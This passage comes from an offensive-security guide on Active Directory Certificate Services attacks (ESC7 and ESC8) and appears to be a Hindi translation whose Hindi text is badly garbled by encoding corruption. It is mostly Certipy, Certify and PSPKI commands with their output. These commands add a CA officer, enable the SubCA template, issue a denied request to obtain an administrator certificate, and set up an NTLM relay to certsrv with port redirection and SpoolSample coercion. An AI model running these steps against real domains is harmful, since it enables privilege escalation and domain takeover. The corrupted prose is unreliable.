рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЗ рд▓рд┐рдП рдкрд╣реБрдВрдЪ рдирд┐рдпрдВрддреНрд░рдг рдПрдХ рд╕реЗрдЯ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрдирд╛рдП рд░рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ CA рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ certsrv.msc рддрдХ рдкрд╣реБрдБрдЪрдХрд░, CA рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ, рдкреНрд░реЙрдкрд░реНрдЯреАрдЬрд╝ рдХрд╛ рдЪрдпрди рдХрд░рдХреЗ, рдФрд░ рдлрд┐рд░ рд╕реБрд░рдХреНрд╖рд╛ рдЯреИрдм рдкрд░ рдЬрд╛рдХрд░ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, PSPKI рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access

рдпрд╣ рдореБрдЦреНрдп рдЕрдзрд┐рдХрд╛рд░реЛрдВ, рдЕрд░реНрдерд╛рддреН ManageCA рдФрд░ ManageCertificates рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдХреНрд░рдорд╢рдГ "CA рдкреНрд░рд╢рд╛рд╕рдХ" рдФрд░ "рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рдмрдВрдзрдХ" рдХреА рднреВрдорд┐рдХрд╛рдУрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИрдВред

рджреБрд░реБрдкрдпреЛрдЧ

рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкрд░ ManageCA рдЕрдзрд┐рдХрд╛рд░ рд╣реЛрдиреЗ рд╕реЗ рдкреНрд░рдореБрдЦ рдХреЛ PSPKI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рдЗрд╕рдореЗрдВ EDITF_ATTRIBUTESUBJECTALTNAME2 рдзреНрд╡рдЬ рдХреЛ рдЯреЙрдЧрд▓ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ рддрд╛рдХрд┐ рдХрд┐рд╕реА рднреА рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ SAN рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓ рд╕рдХреЗ, рдЬреЛ рдбреЛрдореЗрди рд╡реГрджреНрдзрд┐ рдХрд╛ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкрд╣рд▓реВ рд╣реИред

рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ PSPKI рдХреЗ Enable-PolicyModuleFlag cmdlet рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рд░рд▓ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╕реАрдзреЗ GUI рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЗ рдмрд┐рдирд╛ рд╕рдВрд╢реЛрдзрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

ManageCertificates рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рдЕрдзрд┐рдЧреНрд░рд╣рдг рд▓рдВрдмрд┐рдд рдЕрдиреБрд░реЛрдзреЛрдВ рдХреА рд╕реНрд╡реАрдХреГрддрд┐ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддрд╛ рд╣реИ, рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ "CA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рдмрдВрдзрдХ рд╕реНрд╡реАрдХреГрддрд┐" рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рддрд╛ рд╣реИред

Certify рдФрд░ PSPKI рдореЙрдбреНрдпреВрд▓ рдХрд╛ рд╕рдВрдпреЛрдЬрди рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз, рд╕реНрд╡реАрдХреГрддрд┐ рдФрд░ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response      : The certificate is still pending.
[*] Request ID       : 336
[...]

# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest

# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336

Attack 2

Explanation

In the previous attack Manage CA permissions were used to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 flag to perform the ESC6 attack, but this will not have any effect until the CA service (CertSvc) is restarted. When a user has the Manage CA access right, the user is also allowed to restart the service. However, it does not mean that the user can restart the service remotely. Furthermore, ESC6 might not work out of the box in most patched environments due to the May 2022 security updates.

рдЗрд╕рд▓рд┐рдП, рдпрд╣рд╛рдБ рдПрдХ рдФрд░ рд╣рдорд▓рд╛ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

Perquisites:

  • рдХреЗрд╡рд▓ ManageCA рдЕрдиреБрдорддрд┐

  • Manage Certificates рдЕрдиреБрдорддрд┐ (рдХреЛ ManageCA рд╕реЗ рджреА рдЬрд╛ рд╕рдХрддреА рд╣реИ)

  • рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ SubCA рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдирд╛ рд╣реЛрдЧрд╛ (рдХреЛ ManageCA рд╕реЗ рд╕рдХреНрд╖рдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ)

рдпрд╣ рддрдХрдиреАрдХ рдЗрд╕ рддрдереНрдп рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ рдХрд┐ Manage CA рдФрд░ Manage Certificates рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрд╕рдлрд▓ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЕрдиреБрд░реЛрдз рдЬрд╛рд░реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред SubCA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ ESC1 рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИ, рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ рдкреНрд░рд╢рд╛рд╕рдХ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рдирд╛рдорд╛рдВрдХрд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ SubCA рдореЗрдВ рдирд╛рдорд╛рдВрдХрди рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд░ рд╕рдХрддрд╛ рд╣реИ - рдЬрд┐рд╕реЗ рдЕрд╕реНрд╡реАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ - рд▓реЗрдХрд┐рди рдлрд┐рд░ рдмрд╛рдж рдореЗрдВ рдкреНрд░рдмрдВрдзрдХ рджреНрд╡рд╛рд░рд╛ рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

Abuse

рдЖрдк рдЕрдкрдиреЗ рд▓рд┐рдП Manage Certificates рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХрд╛рд░ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ рдЕрдкрдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдПрдХ рдирдП рдЕрдзрд┐рдХрд╛рд░реА рдХреЗ рд░реВрдк рдореЗрдВ рдЬреЛрдбрд╝рдХрд░ред

certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

SubCA рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЛ -enable-template рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде CA рдкрд░ рд╕рдХреНрд░рд┐рдп рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, SubCA рдЯреЗрдореНрдкрд▓реЗрдЯ рд╕рдХреНрд░рд┐рдп рд╣реЛрддрд╛ рд╣реИред

# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it

# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA'

рдпрджрд┐ рд╣рдордиреЗ рдЗрд╕ рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдкреВрд░реНрд╡рд╛рдкреЗрдХреНрд╖рд╛рдПрдБ рдкреВрд░реА рдХрд░ рд▓реА рд╣реИрдВ, рддреЛ рд╣рдо SubCA рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдпрд╣ рдЕрдиреБрд░реЛрдз рдЕрд╕реНрд╡реАрдХреГрдд рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рд▓реЗрдХрд┐рди рд╣рдо рдирд┐рдЬреА рдХреБрдВрдЬреА рдХреЛ рд╕рд╣реЗрдЬ рд▓реЗрдВрдЧреЗ рдФрд░ рдЕрдиреБрд░реЛрдз рдЖрдИрдбреА рдХреЛ рдиреЛрдЯ рдХрд░ рд▓реЗрдВрдЧреЗред

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate

рд╣рдорд╛рд░реЗ Manage CA рдФрд░ Manage Certificates рдХреЗ рд╕рд╛рде, рд╣рдо рдлрд┐рд░ рдЕрд╕рдлрд▓ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЕрдиреБрд░реЛрдз рдХреЛ ca рдХрдорд╛рдВрдб рдФрд░ -issue-request <request ID> рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдЬрд╛рд░реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

рдФрд░ рдЕрдВрдд рдореЗрдВ, рд╣рдо req рдХрдорд╛рдВрдб рдФрд░ -retrieve <request ID> рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЧрдпрд╛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'

NTLM Relay to AD CS HTTP Endpoints тАУ ESC8

Explanation

рдЙрди рд╡рд╛рддрд╛рд╡рд░рдгреЛрдВ рдореЗрдВ рдЬрд╣рд╛рдБ AD CS рд╕реНрдерд╛рдкрд┐рдд рд╣реИ, рдпрджрд┐ рдПрдХ рд╡реЗрдм рдирд╛рдорд╛рдВрдХрди рдЕрдВрдд рдмрд┐рдВрджреБ рдЬреЛ рдХрдордЬреЛрд░ рд╣реИ рдореМрдЬреВрдж рд╣реИ рдФрд░ рдХрдо рд╕реЗ рдХрдо рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдкреНрд░рдХрд╛рд╢рд┐рдд рд╣реИ рдЬреЛ рдбреЛрдореЗрди рдХрдВрдкреНрдпреВрдЯрд░ рдирд╛рдорд╛рдВрдХрди рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЬреИрд╕реЗ рдХрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ Machine рдЯреЗрдореНрдкрд▓реЗрдЯ), рддреЛ рд╕реНрдкреВрд▓рд░ рд╕реЗрд╡рд╛ рд╕рдХреНрд░рд┐рдп рдХрд┐рд╕реА рднреА рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ!

AD CS рджреНрд╡рд╛рд░рд╛ рдХрдИ HTTP-рдЖрдзрд╛рд░рд┐рдд рдирд╛рдорд╛рдВрдХрди рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЕрддрд┐рд░рд┐рдХреНрдд рд╕рд░реНрд╡рд░ рднреВрдорд┐рдХрд╛рдУрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реЛрддреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдкреНрд░рд╢рд╛рд╕рдХ рд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред HTTP-рдЖрдзрд╛рд░рд┐рдд рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдирд╛рдорд╛рдВрдХрди рдХреЗ рд▓рд┐рдП рдпреЗ рдЗрдВрдЯрд░рдлреЗрд╕ NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛрддреЗ рд╣реИрдВред рдПрдХ рд╣рдорд▓рд╛рд╡рд░, рдПрдХ рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЧрдП рдорд╢реАрди рд╕реЗ, рдХрд┐рд╕реА рднреА AD рдЦрд╛рддреЗ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЗрдирдмрд╛рдЙрдВрдб NTLM рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рддрд╛ рд╣реИред рдкреАрдбрд╝рд┐рдд рдЦрд╛рддреЗ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддреЗ рд╕рдордп, рдЗрди рд╡реЗрдм рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ User рдпрд╛ Machine рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

  • рд╡реЗрдм рдирд╛рдорд╛рдВрдХрди рдЗрдВрдЯрд░рдлреЗрд╕ (рдПрдХ рдкреБрд░рд╛рдиреА ASP рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЬреЛ http://<caserver>/certsrv/ рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИ), рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдХреЗрд╡рд▓ HTTP рдкрд░ рд╕реЗрдЯ рд╣реИ, рдЬреЛ NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рджрд╛рди рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдХреЗрд╡рд▓ NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЕрдкрдиреЗ Authorization HTTP рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, рдЬрд┐рд╕рд╕реЗ рдЕрдзрд┐рдХ рд╕реБрд░рдХреНрд╖рд┐рдд рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд┐рдзрд┐рдпрд╛рдБ рдЬреИрд╕реЗ Kerberos рдЕрдиреБрдкрдпреБрдХреНрдд рд╣реЛ рдЬрд╛рддреА рд╣реИрдВред

  • рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдирд╛рдорд╛рдВрдХрди рд╕реЗрд╡рд╛ (CES), рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдирд╛рдорд╛рдВрдХрди рдиреАрддрд┐ (CEP) рд╡реЗрдм рд╕реЗрд╡рд╛, рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдбрд┐рд╡рд╛рдЗрд╕ рдирд╛рдорд╛рдВрдХрди рд╕реЗрд╡рд╛ (NDES) рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЕрдкрдиреЗ Authorization HTTP рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрд╛рддрдЪреАрдд рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВред рдмрд╛рддрдЪреАрдд рдкреНрд░рдорд╛рдгреАрдХрд░рдг рджреЛрдиреЛрдВ Kerberos рдФрд░ NTLM рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдореЗрдВ рдбрд╛рдЙрдирдЧреНрд░реЗрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ рдХреЗ рджреМрд░рд╛рдиред рд╣рд╛рд▓рд╛рдБрдХрд┐ рдпреЗ рд╡реЗрдм рд╕реЗрд╡рд╛рдПрдБ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ HTTPS рд╕рдХреНрд╖рдо рдХрд░рддреА рд╣реИрдВ, HTTPS рдЕрдХреЗрд▓реЗ NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред HTTPS рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗрд╡рд▓ рддрдм рд╕рдВрднрд╡ рд╣реИ рдЬрдм HTTPS рдХреЛ рдЪреИрдирд▓ рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рд╛ рдЬрд╛рдПред рджреБрд░реНрднрд╛рдЧреНрдпрд╡рд╢, AD CS IIS рдкрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рд╕рдХреНрд░рд┐рдп рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЪреИрдирд▓ рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред

NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╕рдорд╕реНрдпрд╛ NTLM рд╕рддреНрд░реЛрдВ рдХреА рд╕рдВрдХреНрд╖рд┐рдкреНрдд рдЕрд╡рдзрд┐ рдФрд░ рд╣рдорд▓рд╛рд╡рд░ рдХреА рдЙрди рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕рдорд░реНрдерддрд╛ рд╣реИ рдЬреЛ NTLM рд╕рд╛рдЗрдирд┐рдВрдЧ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред

рдлрд┐рд░ рднреА, рдЗрд╕ рд╕реАрдорд╛ рдХреЛ рдПрдХ NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЗ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдХреЗ рдкрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреА рд╡реИрдзрддрд╛ рдЕрд╡рдзрд┐ рд╕рддреНрд░ рдХреА рдЕрд╡рдзрд┐ рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддреА рд╣реИ, рдФрд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрди рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ NTLM рд╕рд╛рдЗрдирд┐рдВрдЧ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдЪреБрд░рд╛рдП рдЧрдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд▓рд┐рдП, рджреЗрдЦреЗрдВ:

AD CS Account Persistence

NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ рдХреА рдПрдХ рдФрд░ рд╕реАрдорд╛ рдпрд╣ рд╣реИ рдХрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░-рдирд┐рдпрдВрддреНрд░рд┐рдд рдорд╢реАрди рдХреЛ рдПрдХ рдкреАрдбрд╝рд┐рдд рдЦрд╛рддреЗ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рд╣рдорд▓рд╛рд╡рд░ рдпрд╛ рддреЛ рдЗрдВрддрдЬрд╛рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдЗрд╕ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдмрд▓рд╛рддреНрдХреГрдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

Force NTLM Privileged Authentication

Abuse

CertifyтАЩs cas рд╕рдХреНрд╖рдо HTTP AD CS рдЕрдВрдд рдмрд┐рдВрджреБрдУрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рддрд╛ рд╣реИ:

Certify.exe cas

msPKI-Enrollment-Servers рдкреНрд░реЙрдкрд░реНрдЯреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдВрдЯрд░рдкреНрд░рд╛рдЗрдЬ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдСрдереЛрд░рд┐рдЯреАрдЬрд╝ (CAs) рджреНрд╡рд╛рд░рд╛ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдПрдирд░реЛрд▓рдореЗрдВрдЯ рд╕рд░реНрд╡рд┐рд╕ (CES) рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрди рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХреЛ Certutil.exe рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛рд░реНрд╕ рдФрд░ рд▓рд┐рд╕реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA

```powershell Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List * ```

Certify рдХреЗ рд╕рд╛рде рджреБрд░реБрдкрдпреЛрдЧ

## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080

## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>

Abuse with Certipy

